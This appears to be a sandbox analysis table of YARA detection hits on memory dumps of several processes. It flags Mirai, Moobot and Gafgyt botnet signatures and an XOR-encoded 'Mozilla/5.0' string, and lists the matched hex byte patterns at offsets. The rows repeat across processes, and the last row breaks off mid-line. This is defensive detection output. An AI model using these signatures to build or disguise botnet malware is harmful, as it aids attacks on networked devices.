7154.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7154.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6915.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6915.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6915.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6915.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6915.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6915.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6775.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6775.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6775.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6775.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6775.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6775.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6910.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6910.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6910.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6910.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6910.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6910.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7325.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6968.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6968.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6968.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6968.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6968.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6968.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6298.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7291.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6286.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6685.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7026.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7026.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7026.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7026.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7026.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 